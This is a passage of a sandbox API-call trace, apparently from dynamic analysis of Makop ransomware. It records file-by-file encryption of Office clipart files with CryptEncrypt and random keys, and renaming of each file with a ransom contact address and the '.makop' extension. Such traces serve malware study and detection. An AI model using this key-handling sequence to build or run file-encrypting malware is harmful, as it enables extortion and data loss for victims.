lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.825] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.826] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.826] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.826] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.826] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.826] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2b04, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2b04, lpOverlapped=0x0) returned 1 [0119.827] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b10, dwBufLen=0x2b10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b10) returned 1 [0119.828] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.828] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2b10, lpOverlapped=0x0) returned 1 [0119.828] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.828] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.828] SetEndOfFile (hFile=0xf0) returned 1 [0119.835] GetProcessHeap () returned 0x48a0000 [0119.835] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.835] GetProcessHeap () returned 0x48a0000 [0119.835] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.835] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.837] CloseHandle (hObject=0xf0) returned 1 [0119.837] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105398.WMF", cAlternateFileName="")) returned 1 [0119.837] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0119.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.839] GetProcessHeap () returned 0x48a0000 [0119.839] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.839] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.839] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.839] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.839] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.839] GetProcessHeap () returned 0x48a0000 [0119.839] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.839] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.839] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.839] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.843] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.843] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.843] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.844] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.844] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.844] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.844] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.844] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.844] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd00, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd00, lpOverlapped=0x0) returned 1 [0119.844] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd00, dwBufLen=0xd00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd00) returned 1 [0119.844] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.845] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd00, lpOverlapped=0x0) returned 1 [0119.845] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.845] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xdd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.845] SetEndOfFile (hFile=0xf0) returned 1 [0119.853] GetProcessHeap () returned 0x48a0000 [0119.853] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.853] GetProcessHeap () returned 0x48a0000 [0119.853] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.853] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.854] CloseHandle (hObject=0xf0) returned 1 [0119.854] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105410.WMF", cAlternateFileName="")) returned 1 [0119.855] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0119.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.855] GetProcessHeap () returned 0x48a0000 [0119.855] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.855] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.855] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.856] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.860] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.860] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.860] GetProcessHeap () returned 0x48a0000 [0119.860] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.860] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.860] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.860] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.861] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.861] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.861] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.862] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.862] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.862] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.862] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.862] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4fdc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4fdc, lpOverlapped=0x0) returned 1 [0119.864] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4fe0, dwBufLen=0x4fe0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4fe0) returned 1 [0119.864] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.865] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4fe0, lpOverlapped=0x0) returned 1 [0119.865] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.866] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x50b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.866] SetEndOfFile (hFile=0xf0) returned 1 [0119.873] GetProcessHeap () returned 0x48a0000 [0119.873] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.873] GetProcessHeap () returned 0x48a0000 [0119.873] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.873] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.873] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.875] CloseHandle (hObject=0xf0) returned 1 [0119.875] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105412.WMF", cAlternateFileName="")) returned 1 [0119.875] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0119.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.876] GetProcessHeap () returned 0x48a0000 [0119.876] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.876] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.876] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.876] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.880] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.880] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.881] GetProcessHeap () returned 0x48a0000 [0119.881] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.881] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.881] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.881] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.881] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.881] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.881] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.881] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.882] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.882] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.882] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.882] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.882] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x24b8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x24b8, lpOverlapped=0x0) returned 1 [0119.884] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x24c0, dwBufLen=0x24c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x24c0) returned 1 [0119.884] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.884] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x24c0, lpOverlapped=0x0) returned 1 [0119.885] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.885] SetEndOfFile (hFile=0xf0) returned 1 [0119.891] GetProcessHeap () returned 0x48a0000 [0119.892] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.892] GetProcessHeap () returned 0x48a0000 [0119.892] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.892] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.892] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.893] CloseHandle (hObject=0xf0) returned 1 [0119.893] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1864, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105414.WMF", cAlternateFileName="")) returned 1 [0119.894] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0119.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.894] GetProcessHeap () returned 0x48a0000 [0119.894] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.894] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.899] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.899] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.900] GetProcessHeap () returned 0x48a0000 [0119.900] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.900] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.900] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.900] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.900] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.900] WriteFile (in: hFile=0xf0, 